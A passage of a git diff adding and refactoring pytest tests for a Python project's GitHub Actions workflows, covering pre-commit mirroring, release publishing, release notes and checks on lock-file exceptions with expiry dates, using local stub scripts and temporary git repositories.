"inputs.exclude-newer-package": "", +} + + +@dataclasses.dataclass(frozen=True, slots=True, kw_only=True) +class _Scenario: + upstream: str + statuses: str + rewrite: bool + tags: tuple[str, ...] + + +_ONE_VERSION: Final[_Scenario] = _Scenario(upstream="1.0.0 1.0.1", statuses="0", rewrite=False, tags=("v1.0.1",)) +_SCENARIOS: Final[list[ParameterSet]] = [ + pytest.param(_ONE_VERSION, id="one-version"), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1", statuses="1 0", rewrite=True, tags=("v1.0.1",)), + id="one-version-formatted", + ), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1 1.0.2", statuses="0", rewrite=False, tags=("v1.0.1", "v1.0.2")), + id="two-versions", + ), + pytest.param( + _Scenario(upstream="1.0.0 1.0.1 1.0.2", statuses="1 0", rewrite=True, tags=("v1.0.1", "v1.0.2")), + id="two-versions-formatted", + ), +] + + +@pytest.fixture +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / _WORKFLOW) + + +def test_steps_run_in_order(workflow: JsonObject) -> None: + assert [item["name"] for item in steps(workflow, "mirror")] == [ + "๐Ÿšซ Refuse untrusted caller event", + "๐Ÿ“ฅ Check out repository", + "๐Ÿ“ฆ Install uv", + "โš™๏ธ Configure Git identity", + "๐Ÿชž Generate mirror", + "๐Ÿ“ Update README with current version", + "๐Ÿ’… Format generated files", + "โš™๏ธ Configure Git credentials", + "๐Ÿ”„ Commit mirror changes", + "๐Ÿš€ Push mirror commits and tags", + "๐ŸŽ‰ Create GitHub releases", + ] + + +@pytest.mark.parametrize( + ("name", "condition"), + [ + pytest.param( + "๐Ÿ“ Update README with current version", + "${{ steps.generate.outputs.mirrored == 'true' }}", + id="readme", + ), + pytest.param("๐Ÿ’… Format generated files", "${{ steps.generate.outputs.mirrored == 'true' }}", id="format"), + pytest.param("๐Ÿ”„ Commit mirror changes", "${{ steps.generate.outputs.mirrored == 'true' }}", id="commit"), + pytest.param( + "๐Ÿš€ Push mirror commits and tags", + "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }}", + id="push", + ), + pytest.param( + "๐ŸŽ‰ Create GitHub releases", + "${{ github.ref == 'refs/heads/main' && steps.commit.outputs.tags != '' }}", + id="release", + ), + ], +) +def test_step_runs_only_when_its_precondition_holds(workflow: JsonObject, name: str, condition: str) -> None: + assert step(workflow, "mirror", name)["if"] == condition + + +def test_push_is_atomic_and_never_forces(workflow: JsonObject) -> None: + push = text(step(workflow, "mirror", "๐Ÿš€ Push mirror commits and tags")["run"]) + assert "--atomic" in push + assert "--force" not in push + assert " -f " not in push + + +def test_checkout_does_not_persist_credentials(workflow: JsonObject) -> None: + checkout = step(workflow, "mirror", "๐Ÿ“ฅ Check out repository") + assert checkout["with"] == {"persist-credentials": "false"} + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() + assert "set-url" not in workflow_text + assert "x-access-token" not in workflow_text + + +def test_tools_are_pinned() -> None: + workflow_text = (WORKFLOWS / _WORKFLOW).read_text() + assert "pre-commit-mirror-maker==1.14.0" in workflow_text + assert "prek==0.5.5" in workflow_text + assert 'version: "0.13.7"' in workflow_text + + +@pytest.mark.parametrize( + "forbidden", + [ + pytest.param("${{", id="expressions"), + pytest.param("|| true", id="masked-failures"), + ], +) +def test_run_blocks_avoid_forbidden_constructs(workflow: JsonObject, forbidden: str) -> None: + offenders = [ + item.get("name") + for job in mapping(at(workflow, "jobs")) + for item in steps(workflow, job) + if forbidden in text(item.get("run", "")) + ] + assert offenders == [] + + +def test_concurrency_queues_mirror_runs(workflow: JsonObject) -> None: + assert workflow["concurrency"] == { + "group": "pre-commit-mirror-${{ github.repository }}", + "cancel-in-progress": "false", + } + + +@pytest.fixture +def origin(tmp_path: Path) -> Path: + remote = tmp_path / "origin.git" + run(tmp_path, "git", "init", "-q", "--bare", "-b", "main", str(remote)) + return remote + + +@pytest.fixture +def clone(tmp_path: Path, origin: Path) -> Path: + clone = tmp_path / "clone" + run(tmp_path, "git", "init", "-q", "-b", "main", str(clone)) + (clone / ".version").write_text("1.0.0\n") + (clone / "README.md").write_text('rev: "v1.0.0"\n') + run(clone, "git", "add", ".") + _commit(clone, "Initial mirror") + run(clone, "git", "remote", "add", "origin", str(origin)) + run(clone, "git", "push", "-q", "origin", "main") + return clone + + +def _commit(clone: Path, message: str) -> None: + run( + clone, + "git", + "-c", + "user.name=Mirror test", + "-c", + "user.email=mirror@example.org", + "commit", + "-q", + "-a", + "-m", + message, + ) + + +@pytest.fixture +def tools(tmp_path: Path) -> Path: + bin_dir = tmp_path / "bin" + bin_dir.mkdir() + uvx = bin_dir / "uvx" + uvx.write_text( + """\ +#!/usr/bin/env bash +case " $* " in +*pre-commit-mirror-maker*) + current=$(cat .version) + applying=false + for version in $MIRROR_UPSTREAM; do + if [[ "$applying" == false ]]; then + if [[ "$version" == "$current" ]]; then applying=true; fi + continue + fi + echo "$version" >.version + git add . + git commit -q -m "Mirror: $version" + git tag "v$version" + done + ;; +*) + count=$(cat "$RUNNER_TEMP/prek-count" 2>/dev/null || echo 0) + echo $((count + 1)) >"$RUNNER_TEMP/prek-count" + if [[ "$count" == 0 && -n "${PREK_REWRITE:-}" ]]; then echo formatted >>"$PREK_REWRITE"; fi + read -r -a statuses <<<"$PREK_STATUSES" + exit "${statuses[count]}" + ;; +esac +""" + ) + gh = bin_dir / "gh" + gh.write_text('#!/usr/bin/env bash\necho "$*" >>"$RUNNER_TEMP/gh.log"\n') + for script in (uvx, gh): + script.chmod(0o755) + return bin_dir + + +@pytest.mark.parametrize( + ("statuses", "accepted", "invocations"), + [ + pytest.param("0", True, 1, id="clean-tree"), + pytest.param("1 0", True, 2, id="rewritten-then-clean"), + pytest.param("1 1", False, 2, id="rewritten-then-failing"), + pytest.param("2", False, 1, id="hook-crashed"), + ], +) +def test_format_step_accepts_only_a_clean_second_pass( + tmp_path: Path, + tools: Path, + statuses: str, + accepted: bool, + invocations: int, +) -> None: + result, _ = _step(tmp_path, tmp_path, tools, "๐Ÿ’… Format generated files", PREK_STATUSES=statuses) + assert (result.returncode == 0) is accepted, result.stderr + assert (tmp_path / "prek-count").read_text().strip() == str(invocations) + + +def test_no_new_version_is_a_noop(tmp_path: Path, clone: Path, tools: Path) -> None: + head = _rev(clone, "HEAD") + _ok(clone, tmp_path / "runner", tools, "โš™๏ธ Configure Git identity") + outputs = _ok(clone, tmp_path / "runner", tools, "๐Ÿชž Generate mirror", MIRROR_UPSTREAM="1.0.0") + assert outputs == {"base": head, "mirrored": "false"} + + +def _rev(directory: Path, revision: str) -> str: + return run(directory, "git", "rev-parse", revision).stdout.strip() + + +def _ok(clone: Path, runner: Path, tools: Path, name: str, **env: str) -> dict[str, str]: + result, outputs = _step(clone, runner, tools, name, **env) + assert result.returncode == 0, result.stderr + return outputs + + +def _step( + clone: Path, + runner: Path, + tools: Path, + name: str, + **env: str, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + runner.mkdir(exist_ok=True) + return run_workflow_step( + _WORKFLOW, + "mirror", + name, + cwd=clone, + runner_temp=runner, + values=_VALUES, + env={"PATH": f"{tools}:{os.environ['PATH']}"} | env, + ) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_outputs_every_new_tag(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + result, outputs = _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert result.returncode == 0, result.stderr + assert outputs == {"tags": " ".join(scenario.tags)} + + +def _commit_mirror( + clone: Path, + runner: Path, + tools: Path, + scenario: _Scenario, +) -> tuple[subprocess.CompletedProcess[str], dict[str, str]]: + stub = { + "MIRROR_UPSTREAM": scenario.upstream, + "PREK_STATUSES": scenario.statuses, + "PREK_REWRITE": "README.md" if scenario.rewrite else "", + } + _ok(clone, runner, tools, "โš™๏ธ Configure Git identity") + generated = _ok(clone, runner, tools, "๐Ÿชž Generate mirror", **stub) + _ok(clone, runner, tools, "๐Ÿ“ Update README with current version", **stub) + _ok(clone, runner, tools, "๐Ÿ’… Format generated files", **stub) + return _step(clone, runner, tools, "๐Ÿ”„ Commit mirror changes", BASE=generated["base"], **stub) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_keeps_one_commit_per_version(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + base = _rev(clone, "HEAD") + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert _log(clone, base, "%s") == [f"Mirror: {tag.removeprefix('v')}" for tag in scenario.tags] + + +def _log(clone: Path, base: str, pretty: str) -> list[str]: + return run(clone, "git", "log", "--reverse", f"--format={pretty}", f"{base}..HEAD").stdout.splitlines() + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_commit_is_authored_by_the_bot(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + base = _rev(clone, "HEAD") + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert set(_log(clone, base, "%an")) == {"Github Actions"} + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_newest_tag_points_at_the_final_tree(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + assert _rev(clone, f"{scenario.tags[-1]}^{{tree}}") == _rev(clone, "HEAD^{tree}") + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_formatting_lands_in_the_newest_commit(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _commit_mirror(clone, tmp_path / "runner", tools, scenario) + readme = run(clone, "git", "show", "HEAD:README.md").stdout + assert ("formatted" in readme) is scenario.rewrite + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_published_tags_reach_origin_with_the_branch( + tmp_path: Path, + clone: Path, + origin: Path, + tools: Path, + scenario: _Scenario, +) -> None: + _publish(clone, tmp_path / "runner", tools, scenario) + expected = {"refs/heads/main": _rev(clone, "HEAD")} + expected |= {f"refs/tags/{tag}": _rev(clone, f"{tag}^{{commit}}") for tag in scenario.tags} + assert _remote_refs(origin) == expected + + +def _remote_refs(origin: Path) -> dict[str, str]: + lines = run(origin, "git", "for-each-ref", "--format=%(refname) %(objectname)").stdout.splitlines() + return {ref: sha for ref, sha in (line.split() for line in lines)} + + +def _publish(clone: Path, runner: Path, tools: Path, scenario: _Scenario) -> None: + result, outputs = _commit_mirror(clone, runner, tools, scenario) + assert result.returncode == 0, result.stderr + _ok(clone, runner, tools, "๐Ÿš€ Push mirror commits and tags", NEW_TAGS=outputs["tags"]) + _ok(clone, runner, tools, "๐ŸŽ‰ Create GitHub releases", NEW_TAGS=outputs["tags"]) + + +@pytest.mark.parametrize("scenario", _SCENARIOS) +def test_each_new_tag_gets_a_release(tmp_path: Path, clone: Path, tools: Path, scenario: _Scenario) -> None: + _publish(clone, tmp_path / "runner", tools, scenario) + releases = (tmp_path / "runner" / "gh.log").read_text().splitlines() + assert releases == [f"release create {tag} --generate-notes" for tag in scenario.tags] + + +def test_identical_published_tag_is_skipped(tmp_path: Path, clone: Path, tools: Path) -> None: + result, _ = _commit_mirror(clone, tmp_path / "first", tools, _ONE_VERSION) + assert result.returncode == 0, result.stderr + run(clone, "git", "push", "-q", "origin", "refs/tags/v1.0.1") + run(clone, "git", "reset", "-q", "--hard", "origin/main") + run(clone, "git", "tag", "-d", "v1.0.1") + result, outputs = _commit_mirror(clone, tmp_path / "second", tools, _ONE_VERSION) + assert result.returncode == 0, result.stderr + assert outputs == {"tags": ""} + assert "v1.0.1 is already published with identical mirror content" in result.stdout + + +def test_different_published_tag_fails(tmp_path: Path, clone: Path, tools: Path) -> None: + run(clone, "git", "checkout", "-q", "-b", "diverged") + (clone / "README.md").write_text("diverged\n") + _commit(clone, "Diverge") + run(clone, "git", "tag", "v1.0.1") + run(clone, "git", "push", "-q", "origin", "refs/tags/v1.0.1") + run(clone, "git", "tag", "-d", "v1.0.1") + run(clone, "git", "checkout", "-q", "main") + result, _ = _commit_mirror(clone, tmp_path / "runner", tools, _ONE_VERSION) + assert result.returncode == 1 + assert "v1.0.1 is published with a different mirror tree" in result.stderr diff --git a/tests/refresh_release_lock/test_check_nab_exceptions.py b/tests/refresh_release_lock/test_check_nab_exceptions.py new file mode 100644 index 0000000..dcde075 --- /dev/null +++ b/tests/refresh_release_lock/test_check_nab_exceptions.py @@ -0,0 +1,150 @@ +import subprocess +import sys +from pathlib import Path +from typing import Final + +import pytest + +_SCRIPT: Final = Path(__file__).resolve().parents[2] / "tools/check_nab_exceptions.py" +_FUTURE: Final = "2999-01-01" +_PAST: Final = "2000-01-01" + + +@pytest.mark.parametrize( + ("filename", "content"), + [ + pytest.param("pyproject.toml", '[tool.nab]\nmode = "universal"\n', id="no-exceptions"), + pytest.param( + "pyproject.toml", + f"[tool.nab]\n# expires {_FUTURE}\n[tool.nab.packages.release-creator]\n" + "uploaded-prior-to = 2026-11-02T21:45:00Z\n", + id="table-header", + ), + pytest.param( + "pyproject.toml", + f'[tool.nab]\n# expires {_FUTURE}\n[tool.nab.packages."release-creator"]\nuploaded-prior-to = 2026-11-02\n', + id="quoted-table-header", + ), + pytest.param( + "pyproject.toml", + f"[tool.nab]\n# expires {_FUTURE}\npackages.sphinx.uploaded-prior-to = 2026-10-21T00:05:13Z\n", + id="dotted-key", + ), + pytest.param( + "nab.toml", + f"# expires {_FUTURE}\n[packages.sphinx]\nuploaded-prior-to = 2026-10-21T00:05:13Z\n", + id="standalone-nab-toml", + ), + pytest.param( + "pyproject.toml", + "[tool.nab.packages.sphinx]\nassume-universal-deps = true\n", + id="override-without-cutoff", + ), + ], +) +def test_nab_exception_expiry_accepts_dated_exception(tmp_path: Path, filename: str, content: str) -> None: + path = tmp_path / filename + path.write_text(content) + + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == (0, "") + + +@pytest.mark.parametrize( + ("content", "problem"), + [ + pytest.param( + "[tool.nab]\n# expires 2999-01-01\n\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it", + id="comment-separated-by-blank-line", + ), + pytest.param( + "[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment directly above it", + id="header-on-first-line", + ), + pytest.param( + f"[tool.nab]\n# expires {_PAST}\n[tool.nab.packages.release-creator]\nuploaded-prior-to = 2026-10-26\n", + "packages.release-creator uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry", + id="expired", + ), + pytest.param( + "[tool.nab]\n# expires 2026-13-01\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n", + "packages.sphinx has an invalid expiry date 2026-13-01", + id="invalid-date", + ), + pytest.param( + f"[tool.nab]\n# expires {_FUTURE}\npackages = {{ sphinx = {{ uploaded-prior-to = 2026-10-21 }} }}\n", + "packages.sphinx is not a table or dotted key that the expiry check can locate", + id="inline-table", + ), + pytest.param( + '[tool.nab]\n[[tool.nab.package-rules]]\nmatch = ["sphinx"]\nuploaded-prior-to = 2026-10-21\n', + "[[package-rules]] ['sphinx'] sets uploaded-prior-to, which expiry is not checked for; " + "move it to a packages. table", + id="package-rule", + ), + ], +) +def test_nab_exception_expiry_rejects_undated_or_expired_exception(tmp_path: Path, content: str, problem: str) -> None: + path = tmp_path / "pyproject.toml" + path.write_text(content) + + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == (1, f"::error::{path}: {problem}\n") + + +def test_nab_exception_expiry_reports_each_failing_package(tmp_path: Path) -> None: + path = tmp_path / "pyproject.toml" + path.write_text( + "[tool.nab]\n[tool.nab.packages.sphinx]\nuploaded-prior-to = 2026-10-21\n" + f"# expires {_PAST}\n[tool.nab.packages.vcrpy]\nuploaded-prior-to = 2026-10-25\n" + ) + + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == ( + 1, + ( + f"::error::{path}: packages.sphinx uploaded-prior-to exception needs a '# expires YYYY-MM-DD' comment " + f"directly above it\n::error::{path}: packages.vcrpy uploaded-prior-to exception expired on 2000-01-01; " + "remove it or extend its expiry\n" + ), + ) + + +def test_nab_exception_expiry_rejects_missing_file(tmp_path: Path) -> None: + path = tmp_path / "pyproject.toml" + + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == ( + 1, + f"::error::[Errno 2] No such file or directory: '{path}'\n", + ) + + +def test_nab_exception_expiry_rejects_invalid_toml(tmp_path: Path) -> None: + path = tmp_path / "pyproject.toml" + path.write_text("[tool.nab\n") + + result = subprocess.run([sys.executable, str(_SCRIPT), str(path)], text=True, capture_output=True, check=False) + + assert (result.returncode, result.stderr) == ( + 1, + "::error::Expected ']' at the end of a table declaration (at line 1, column 10)\n", + ) + + +def test_nab_exception_expiry_import_has_no_cli_side_effect() -> None: + result = subprocess.run( + [sys.executable, "-c", f"import runpy; runpy.run_path({str(_SCRIPT)!r}, run_name='imported')"], + text=True, + capture_output=True, + check=False, + ) + + assert (result.returncode, result.stdout, result.stderr) == (0, "", "") diff --git a/tests/refresh_release_lock/test_refresh.py b/tests/refresh_release_lock/test_refresh.py index 3f04f89..5439475 100644 --- a/tests/refresh_release_lock/test_refresh.py +++ b/tests/refresh_release_lock/test_refresh.py @@ -1,19 +1,13 @@ -from __future__ import annotations - import json import os import subprocess import sys from pathlib import Path -from typing import Any, Final +from typing import Final import pytest -import yaml -from conftest import action, run +from conftest import JsonObject, action, at, load_yaml, mapping, run -_STEPS: Final = yaml.safe_load((Path(__file__).resolve().parents[2] / "refresh-release-lock/action.yml").read_text())[ - "runs" -]["steps"] _LOCK: Final = ( 'lock-version = "1.0"\ncreated-by = "nab"\nrequires-python = ">=3.15"\npackages = []\n' 'environments = ["python_version == \\"3.15\\""]\n[tool.nab]\ncreated-at = 2026-10-01T00:00:00Z\n' @@ -47,6 +41,16 @@ def lock_project(tmp_path: Path) -> Path: return project +@pytest.fixture +def fake_installer(tmp_path: Path) -> Path: + installer = tmp_path / "tools/install_live_tools.sh" + installer.parent.mkdir() + installer.write_text('#!/bin/sh\nprintf "%s\\n" "$@" >"$RUNNER_TEMP/installed"\n') + installer.chmod(0o755) + (tmp_path / "action").mkdir() + return installer + + @pytest.mark.parametrize(("mode", "upgrade"), [("check", []), ("refresh", ["--upgrade"])]) def test_refresh_locks_every_group_and_extra_with_nab( tmp_path: Path, action_scripts: Path, fake_uv: Path, mode: str, upgrade: list[str] @@ -71,6 +75,32 @@ def test_refresh_locks_every_group_and_extra_with_nab( ] +def _run_step( + action_scripts: Path, name: str, root: Path, fake_uv: Path, **environment: str +) -> subprocess.CompletedProcess[str]: + steps = at(load_yaml(Path(__file__).resolve().parents[2] / "refresh-release-lock/action.yml"), "runs", "steps") + assert isinstance(steps, list) + index = next(index for index, step in enumerate(steps) if mapping(step).get("name") == name) + return subprocess.run( + ["bash", "-e", "-o", "pipefail", str(action_scripts / f"refresh-release-lock-{index}.sh")], + cwd=root, + env=os.environ + | { + "PATH": f"{fake_uv.parent}{os.pathsep}{os.environ['PATH']}", + "RUNNER_TEMP": str(root), + "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), + } + | environment, + text=True, + capture_output=True, + check=False, + ) + + +def _uv_call(root: Path) -> JsonObject: + return mapping(json.loads((root / "uv-call.json").read_text())) + + @pytest.mark.parametrize("step", ["๐Ÿ”’ Resolve all project groups and extras", "๐Ÿ”’ Resolve optional Nab matrix"]) def test_refresh_hides_certificate_overrides_from_nab( tmp_path: Path, action_scripts: Path, fake_uv: Path, step: str @@ -95,7 +125,7 @@ def test_refresh_hides_certificate_overrides_from_nab( ) assert result.returncode == 0, result.stderr - assert not {"SSL_CERT_FILE", "SSL_CERT_DIR"} & _uv_call(tmp_path)["env"].keys() + assert not {"SSL_CERT_FILE", "SSL_CERT_DIR"} & mapping(at(_uv_call(tmp_path), "env")).keys() def test_refresh_check_accepts_current_lock( @@ -109,6 +139,20 @@ def test_refresh_check_accepts_current_lock( assert run(lock_project, "git", "status", "--porcelain").stdout == "" +def _commit_lock(project: Path, nab: Path) -> None: + result = subprocess.run( + [str(nab), "lock", "--all-groups", "--all-extras", "--no-cache"], + cwd=project, + env={name: value for name, value in os.environ.items() if not name.startswith("SSL_CERT")}, + text=True, + capture_output=True, + check=False, + ) + assert result.returncode == 0, result.stderr + run(project, "git", "add", ".") + run(project, "git", "commit", "-m", "Lock the project") + + def test_refresh_check_rejects_stale_lock( lock_project: Path, nab_executable: Path, tmp_path: Path, action_scripts: Path ) -> None: @@ -122,6 +166,24 @@ def test_refresh_check_rejects_stale_lock( assert "regenerated Nab lock differs from the committed lock" in result.stderr +def test_refresh_check_rejects_expired_exception_before_locking( + lock_project: Path, tmp_path: Path, action_scripts: Path +) -> None: + project = lock_project / "pyproject.toml" + project.write_text( + project.read_text() + + "# expires 2000-01-01\n[tool.nab.packages.six]\nuploaded-prior-to = 2026-10-01T00:00:00Z\n" + ) + run(lock_project, "git", "add", ".") + run(lock_project, "git", "commit", "-m", "Add an expired exception") + + result = action(lock_project, tmp_path, action_scripts, "refresh-release-lock", version="", MODE="check") + + assert result.returncode != 0 + assert "packages.six uploaded-prior-to exception expired on 2000-01-01" in result.stderr + assert not (tmp_path / "lock-tools").exists() + + def test_refresh_writes_patch_for_stale_lock( lock_project: Path, nab_executable: Path, tmp_path: Path, action_scripts: Path ) -> None: @@ -134,50 +196,12 @@ def test_refresh_writes_patch_for_stale_lock( assert result.returncode == 0, result.stderr assert outputs["changed"] == "true" - patch = (tmp_path / "lock.patch").read_text() + patch = (tmp_path / "maintenance.patch").read_text() assert "diff --git a/pylock.toml b/pylock.toml" in patch assert 'name = "six"' in patch assert "diff --git a/pyproject.toml" not in patch -def _commit_lock(project: Path, nab: Path) -> None: - result = subprocess.run( - [str(nab), "lock", "--all-groups", "--all-extras", "--no-cache"], - cwd=project, - env={name: value for name, value in os.environ.items() if not name.startswith("SSL_CERT")}, - text=True, - capture_output=True, - check=False, - ) - assert result.returncode == 0, result.stderr - run(project, "git", "add", ".") - run(project, "git", "commit", "-m", "Lock the project") - - -def _run_step( - action_scripts: Path, name: str, root: Path, fake_uv: Path, **environment: str -) -> subprocess.CompletedProcess[str]: - index = next(index for index, step in enumerate(_STEPS) if step.get("name") == name) - return subprocess.run( - ["bash", "-e", "-o", "pipefail", str(action_scripts / f"refresh-release-lock-{index}.sh")], - cwd=root, - env=os.environ - | { - "PATH": f"{fake_uv.parent}{os.pathsep}{os.environ['PATH']}", - "RUNNER_TEMP": str(root), - "GITHUB_ACTION_PATH": str(Path(__file__).resolve().parents[2] / "refresh-release-lock"), - } - | environment, - text=True, - capture_output=True, - check=False, - ) - - -def _uv_call(root: Path) -> dict[str, Any]: - return json.loads((root / "uv-call.json").read_text()) - - def test_refresh_installs_nab_under_cutoff(lock_project: Path, tmp_path: Path, action_scripts: Path) -> None: run(lock_project, "git", "add", ".") run(lock_project, "git", "commit", "-m", "Add the project") @@ -196,19 +220,6 @@ def test_refresh_installs_nab_under_cutoff(lock_project: Path, tmp_path: Path, a assert "nab>=0.0.22" in result.stderr -_VERSIONED_LOCK: Final = f'{_LOCK}nab-version = "0.0.21"\n' - - -@pytest.fixture -def fake_installer(tmp_path: Path) -> Path: - installer = tmp_path / "tools/install_live_tools.sh" - installer.parent.mkdir() - installer.write_text('#!/bin/sh\nprintf "%s\\n" "$@" >"$RUNNER_TEMP/installed"\n') - installer.chmod(0o755) - (tmp_path / "action").mkdir() - return installer - - @pytest.mark.parametrize( ("mode", "requirements"), [ @@ -220,7 +231,7 @@ def fake_installer(tmp_path: Path) -> Path: def test_refresh_installs_selected_nab( tmp_path: Path, action_scripts: Path, mode: str, requirements: list[str] ) -> None: - (tmp_path / "pylock.toml").write_text(_VERSIONED_LOCK) + (tmp_path / "pylock.toml").write_text(f'{_LOCK}nab-version = "0.0.21"\n') result = _run_step( action_scripts, @@ -235,11 +246,9 @@ def test_refresh_installs_selected_nab( assert (tmp_path / "installed").read_text().splitlines() == [f"{tmp_path}/lock-tools", *requirements] -@pytest.mark.parametrize("lock", [None, _LOCK], ids=["no-lock", "no-nab-version"]) @pytest.mark.usefixtures("fake_installer") -def test_refresh_check_requires_locked_nab_version(tmp_path: Path, action_scripts: Path, lock: str | None) -> None: - if lock is not None: - (tmp_path / "pylock.toml").write_text(lock) +def test_refresh_check_requires_nab_version_in_lock(tmp_path: Path, action_scripts: Path) -> None: + (tmp_path / "pylock.toml").write_text(_LOCK) result = _run_step( action_scripts, @@ -253,3 +262,19 @@ def test_refresh_check_requires_locked_nab_version(tmp_path: Path, action_script assert result.returncode != 0 assert "::error::check mode needs the Nab version in pylock.toml [tool.nab] nab-version" in result.stderr assert not (tmp_path / "installed").exists() + + +@pytest.mark.usefixtures("fake_installer") +def test_refresh_check_requires_lock_file(tmp_path: Path, action_scripts: Path) -> None: + result = _run_step( + action_scripts, + "๐Ÿ“ฆ Install Nab", + tmp_path, + tmp_path / "bin/uv", + GITHUB_ACTION_PATH=str(tmp_path / "action"), + MODE="check", + ) + + assert result.returncode != 0 + assert "::error::check mode needs the Nab version in pylock.toml [tool.nab] nab-version" in result.stderr + assert not (tmp_path / "installed").exists() diff --git a/tests/release_workflow/test_github_release_workflow.py b/tests/release_workflow/test_github_release_workflow.py new file mode 100644 index 0000000..b0c2735 --- /dev/null +++ b/tests/release_workflow/test_github_release_workflow.py @@ -0,0 +1,54 @@ +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, step, steps + + +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "github-release.yaml") + + +def test_github_release_publishes_from_a_release_environment_only(workflow: JsonObject) -> None: + assert at(workflow, "jobs", "github-release", "environment") == "release" + assert at(workflow, "jobs", "github-release", "permissions") == {"contents": "write"} + assert at(workflow, "permissions") == {} + + +def test_github_release_verifies_pypi_before_publishing(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "github-release")] + + assert names == [ + "๐Ÿšซ Refuse untrusted caller event", + "๐Ÿ“ฉ Download distributions", + "๐Ÿ“ฉ Download release notes", + "๐Ÿ Install uv and Python", + "โณ Wait for distributions", + "โณ Wait for release notes", + "๐Ÿ” Verify PyPI artifacts", + "๐Ÿš€ Publish GitHub release", + ] + assert step(workflow, "github-release", "๐Ÿ“ฉ Download distributions")["background"] == "true" + assert step(workflow, "github-release", "๐Ÿ“ฉ Download release notes")["background"] == "true" + + +def test_github_release_verifies_the_requested_version(workflow: JsonObject) -> None: + verify = step(workflow, "github-release", "๐Ÿ” Verify PyPI artifacts") + + assert verify["with"] == { + "project": "${{ inputs.project }}", + "version": "${{ inputs.version }}", + "dist": "dist", + "exclude-newer": "${{ inputs.exclude-newer }}", + "exclude-newer-package": "${{ inputs.exclude-newer-package }}", + } + + +def test_github_release_title_prefixes_the_tag(workflow: JsonObject) -> None: + publish = step(workflow, "github-release", "๐Ÿš€ Publish GitHub release") + + assert publish["with"] == { + "tag": "${{ inputs.tag }}", + "commit": "${{ github.sha }}", + "title": "${{ inputs.title-prefix }}${{ inputs.tag }}", + "notes-file": "${{ runner.temp }}/release-notes.md", + "assets-directory": "${{ inputs.assets-directory }}", + } diff --git a/tests/release_workflow/test_release_notes_workflow.py b/tests/release_workflow/test_release_notes_workflow.py new file mode 100644 index 0000000..513300c --- /dev/null +++ b/tests/release_workflow/test_release_notes_workflow.py @@ -0,0 +1,75 @@ +from pathlib import Path +from typing import Final + +import pytest +from conftest import WORKFLOWS, JsonObject, at, load_yaml, mapping, step, steps, text + +ROOT: Final = Path(__file__).resolve().parents[2] + + +@pytest.fixture(scope="module") +def workflow() -> JsonObject: + return load_yaml(WORKFLOWS / "release-notes.yaml") + + +def test_release_notes_declares_its_inputs(workflow: JsonObject) -> None: + inputs = mapping(at(workflow, "on", "workflow_call", "inputs")) + + assert {name: mapping(definition).get("required") for name, definition in inputs.items()} == { + "tag": "true", + "changelog": None, + "artifact-url": None, + "artifact-label": None, + "package": None, + "exclude-newer": None, + "exclude-newer-package": None, + } + + +def test_release_notes_exposes_artifact_id(workflow: JsonObject) -> None: + assert at(workflow, "on", "workflow_call", "outputs", "artifact-id", "value") == ( + "${{ jobs.notes.outputs.artifact-id }}" + ) + + +def test_release_notes_job_reads_contents_only(workflow: JsonObject) -> None: + assert at(workflow, "permissions") == {} + assert at(workflow, "jobs", "notes", "permissions") == {"contents": "read"} + + +def test_release_notes_render_without_a_separate_previous_tag_step(workflow: JsonObject) -> None: + names = [item["name"] for item in steps(workflow, "notes")] + + assert names == [ + "๐Ÿ“ฅ Check out repository", + "๐Ÿ Install uv and Python", + "โš™๏ธ Read Towncrier configuration", + "๐Ÿ“ฆ Install locked release tools", + "๐Ÿ“ Render release notes", + "๐Ÿ“ค Upload release notes", + ] + assert all("select-previous-tag" not in text(item.get("uses", "")) for item in steps(workflow, "notes")) + + +def test_release_notes_default_changelog_comes_from_towncrier_config(workflow: JsonObject) -> None: + assert step(workflow, "notes", "๐Ÿ“ Render release notes")["with"] == { + "tag": "${{ inputs.tag }}", + "changelog": "${{ inputs.changelog || steps.towncrier.outputs.changelog }}", + "artifact-url": "${{ inputs.artifact-url }}", + "artifact-label": "${{ inputs.artifact-label }}", + "package": "${{ inputs.package }}", + } + + +def test_release_notes_uploads_artifact_per_run_attempt(workflow: JsonObject) -> None: + upload = step(workflow, "notes", "๐Ÿ“ค Upload release 